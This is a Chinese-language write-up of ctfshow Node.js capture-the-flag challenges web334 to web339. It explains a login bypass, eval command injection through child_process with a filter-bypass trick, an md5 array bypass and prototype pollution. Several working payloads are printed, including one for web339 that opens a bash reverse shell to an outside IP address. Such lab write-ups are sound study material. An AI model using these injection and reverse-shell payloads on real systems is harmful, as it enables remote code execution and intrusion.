nodejs
web334
加上后缀解压zip后得到user.js和login.js
user.js发现username: ‘CTFSHOW’, password: ‘123456’
源码在login.js,发现登录成功会拿到flag,即重点看登录部分
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
这里分析一下,这里获取user.js的数组
var users = require('../modules/user').items;
这里分析一下,他这里name不能等于CTFSHOW,但是获得flag的条件是user等于CTFSHOW,password等于123456,但是toUpperCase可以将小写转换成大写
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
登录页面直接输入
ctfhsow
123456
即可
web335
在源码中发现可能是get传参,然后命令命令执行
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或执行Function
里我们使用require()函数来加载child_process模块,其有这些方法
payload:
require('child_process').execSync('cat f*').toString()
web336
和上一题一样,但上一题的payload不能用了
换一个命令
法一:
payload:
?eval=require( 'child_process' ).spawnSync( 'tac', ['fl001g.txt' ]).stdout.toString()
小心这里的空格,没有空格可能会出错
法二:
__filename :返回当前模块文件的绝对路径
得到
#这个可以读取文件
require('fs').readFileSync('/app/routes/index.js','utf-8')
经过测试,这里是过滤了exec,需要绕过
?eval=require("child_process")['exe'%2B'cSync']('cat f*')
把加号url编码(浏览器解析特性+会成为空格好像)
%2B --> +
法三:
还是经过学习,发现fs模块,还有列出目录中的文件的方法。
fs.readFileSync(path, options):同步地读取文件的内容。path 是要读取的文件路径,options 是可选的编码和标志选项。返回文件的内容
//列出当前目录下的文件
require('fs').readdirSync('./')
payload:
require('fs').readFileSync('fl001g.txt','utf-8')
web337
题目
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag
传数组来绕过,通过控制台来调试看看
paylaod:
?a[]=1&b[]=1
或
?a[a]=1&b[a]=2
web338
#login.js
//flag
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
#utils/common.js
//利用点
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
一道原型链污染的题
简单解释一下什么叫原型链污染:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
输出为:
1
1
2
这是因为原型链的查找顺序是先查看父对象是否拥有这个属性,然后向上一级的.proto即原型进行查找。我们这里的代码第一次console.log(foo.bar)打印的是1这没啥问题,第二次打印的还是1是因为父对象的值还是1所以修改原型并没有对值发生改变,第三次打印是2是因为zoo.bar查找的时候没有父对象,然后继续向上找,即zoo.proto里寻找,我们使用foo.proto.bar = 2,就是给Object添加了一个bar属性,修改了原型的值,而这个属性则被zoo继承,所以最后为2。
源码中使用copy方法将请求赋给user,而secret对象继承了Object.prototype,所以可以通过修改登录的post请求修改prototype,以使得判断条件成立。
payload:
{"__proto__":{"ctfshow":"36dboy"}}
web339
{"proto":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/223.73.55.6/4443 0>&1\"')"}}
213817422521